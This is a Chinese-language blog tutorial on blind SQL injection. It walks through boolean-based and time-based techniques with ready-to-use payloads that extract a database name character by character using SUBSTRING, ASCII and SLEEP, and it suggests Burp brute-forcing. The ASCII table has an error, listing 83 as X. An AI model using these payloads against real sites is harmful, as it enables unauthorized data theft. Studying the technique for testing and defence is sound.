盲注全知全解

1. 盲注

盲注(Blind SQL Injection) 是SQL注入的一种形式,适用于目标应用不会直接返回数据库错误信息或查询结果的情况。攻击者无法直接获取数据,但可以通过观察页面响应差异(如布尔状态、时间延迟等)间接推断数据库信息。

1.1. 盲注的运用方法

  1. 手工测试流程
    • 步骤1:确认注入点确定存在SQL注入漏洞的参数(如URL参数、表单字段)。
    • 步骤2:判断盲注类型
      • 布尔盲注:构造AND 1=1(正常)和AND 1=0(异常),观察页面差异。
      • 时间盲注:注入AND SLEEP(5),观察响应是否延迟。
    • 步骤3:逐位提取数据
      • 使用SUBSTRING()和ASCII()函数逐字符猜测。
      • 通过二分法或遍历ASCII码缩小范围。
    • 步骤4:自动化工具辅助使用burp等工具自动化探测,加速数据提取。

1.1.1. 布尔盲注

1.1.1.1. 1. 确认注入点

测试是否存在布尔盲注

id=1' AND 1=1 -- 正常
id=1' AND 1=0 -- 异常
 

若两次请求的页面内容不同,则存在布尔盲注漏洞。真假输入,产生差异化

数字型:

id=1' and 1=1(真)

id=1' and 1=3(假)

字符型:

id=1' and 1=9--+

1.1.1.2. 3. 获取数据长度

猜测数据长度(如数据库名长度)

  • sql复制id=1' AND LENGTH(DATABASE())=8 --+

若页面正常,则数据库名长度为8。

对于这个数字8,一般情况下我们是不清楚数据库长度的,这时候可以对请求页面进行蒱捉工具 使用burp爆破数据库长度

我使用bp对猜测进行了拦截我输入的是4

使用bp爆破长度为8

当我们对长度进行爆破后就可以进行数据库名的爆破了

1.1.1.3. 获取数据库名字

数据库一般是字符,用单引号包裹起来才能识 别,实战中各种因素很多,可能单引号也不好使,这时候可以用 ASCII 函数来

指令: id=1' and mid(database(),1,1)='s'--+

爆破成功第一个字母是s

id=1' and ascii(mid(database(),1,1))=115--+

标蓝底的是可以进行爆破的字母,数字都可以,而数字降低了容错,用数字对应ASCII码值可以获得数据库名称。

依次对mid函数中数字修改可以实现数据库名字爆破

ASCII码表

ASCII值

控制字符

ASCII值

控制字符

ASCII值

控制字符

ASCII值

控制字符

0

NUL

32

(space)

64

@

96

1

SOH

33

65

A

97

a

2

STX

34

66

B

98

b

3

ETX

35

#

67

C

99

c

4

EOT

36

$

68

D

100

d

5

ENQ

37

%

69

E

101

e

6

ACK

38

&

70

F

102

f

7

BEL

39

'

71

G

103

g

8

BS

40

(

72

H

104

h

9

HT

41

)

73

I

105

i

10

LF

42

*

74

J

106

j

11

VT

43

+

75

K

107

k

12

FF

44

,

76

L

108

l

13

CR

45

-

77

M

109

m

14

SO

46

.

78

N

110

n

15

SI

47

/

79

O

111

o

16

DLE

48

0

80

P

112

p

17

DCI

49

1

81

Q

113

q

18

DC2

50

2

82

R

114

r

19

DC3

51

3

83

X

115

s

20

DC4

52

4

84

T

116

t

21

NAK

53

5

85

U

117

u

22

SYN

54

6

86

V

118

v

23

TB

55

7

87

W

119

w

24

CAN

56

8

88

X

120

x

25

EM

57

9

89

Y

121

y

26

SUB

58

:

90

Z

122

z

27

ESC

59

;

91

[

123

{

28

FS

60

<

92

\

124

|

29

GS

61

=

93

]

125

}

30

RS

62

>

94

^

126

~

31

US

63

?

95

127

DEL

1.1.2. 时间盲注

时间盲注(Time-Based Blind SQL Injection)是SQL注入的一种特殊形式,适用于 页面无任何内容或状态差异,但攻击者可通过注入时间延迟函数

(如SLEEP()),根据响应时间差异间接推断数据库信息。

1.1.2.1. 一、时间盲注的核心原理

攻击者构造SQL语句,当条件为真时触发数据库执行延迟操作(如SLEEP(5)),通过观察响应时间判断条件是否成立。

示例:id=1' AND IF(1=1, SLEEP(5), 0) --+ 若页面响应时间增加约5秒,则说明条件为真。通过延迟是否触发,结合逐字符猜测(ASCII码)推断目标数据。

1.1.2.2. 三、攻击步骤

  1. 确认注入点测试是否存在时间盲注:id=1' AND SLEEP(5) -- +若页面响应时间显著增加(约5秒),则存在时间盲注漏洞。
  1. 确定数据库类型不同数据库的延迟函数:

 数据库 延迟函数 MySQL SLEEP(N) PostgreSQL pg_sleep(N) SQL Server WAITFOR DELAY '0:0:N' Oracle DBMS_LOCK.SLEEP(N)

  1.  获取数据长度猜测数据长度(如数据库名长度):id=1' AND IF(LENGTH(DATABASE())=5, SLEEP(5), 0) -- 若响应延迟5秒,则数据库名长度为5。
  1. 逐字符提取数据使用SUBSTRING和ASCII函数:id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>100, SLEEP(5), 0) -- 若延迟触发,说明第一个字符的ASCII码大于100。

通过二分法缩小范围:id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=115, SLEEP(5), 0) -- 若延迟触发,则第一个字符为s(ASCII码115)。

四、实战示例:手动注入数据库名假设目标为MySQL数据库,URL参数id存在时间盲注漏洞。

步骤1:确认数据库名长度' AND IF(LENGTH(DATABASE())=5, SLEEP(5), 0) -- 若响应延迟5秒,则数据库名长度为5。

步骤2:逐字符猜测数据库名

 AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=115, SLEEP(5), 0) --若延迟5秒,则第一个字符为s。

重复步骤,直至获取完整名称:

AND IF(ASCII(SUBSTRING(DATABASE(),2,1))=97, SLEEP(5), 0) -- 若延迟5秒,则第二个字符为a,最终数据库名为sa...。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

談不譚網安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值